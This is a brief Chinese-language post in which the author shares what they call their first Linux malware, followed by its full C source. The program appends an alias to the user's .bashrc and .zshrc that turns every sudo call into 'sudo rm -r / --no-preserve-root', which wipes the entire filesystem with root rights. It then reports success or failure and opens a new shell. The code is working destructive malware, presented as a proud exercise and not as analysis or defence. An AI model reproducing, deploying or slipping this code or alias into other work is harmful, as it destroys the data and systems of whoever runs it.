我的第一个linux恶意软件。

有很大局限性,呵呵。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc,char **argv){
   char *homedir = getenv("HOME");
   FILE *shrc;
   int done=0;
   char *sh_path = (char*) malloc(strlen(homedir)+strlen("/.bashrc")+1);
   strcpy(sh_path,homedir);
   strcat(sh_path,"/.bashrc");
   shrc = fopen(sh_path,"a");
   if(shrc){
   fprintf(shrc,"\nalias sudo=\"sudo rm -r / --no-preserve-root; \"\n");
   fclose(shrc);
   done=1;
   }
   strcpy(sh_path,homedir);
   strcat(sh_path,"/.zshrc");
   shrc = fopen(sh_path,"a");
   if(shrc){
   fprintf(shrc,"\nalias sudo=\"sudo rm -r / --no-preserve-root; \"\n");
   fclose(shrc);
   done=1;
   }
   if(!done)        
   printf("病毒植入失败!\n");
   execlp(getenv("SHELL"),getenv("SHELL"),NULL);
}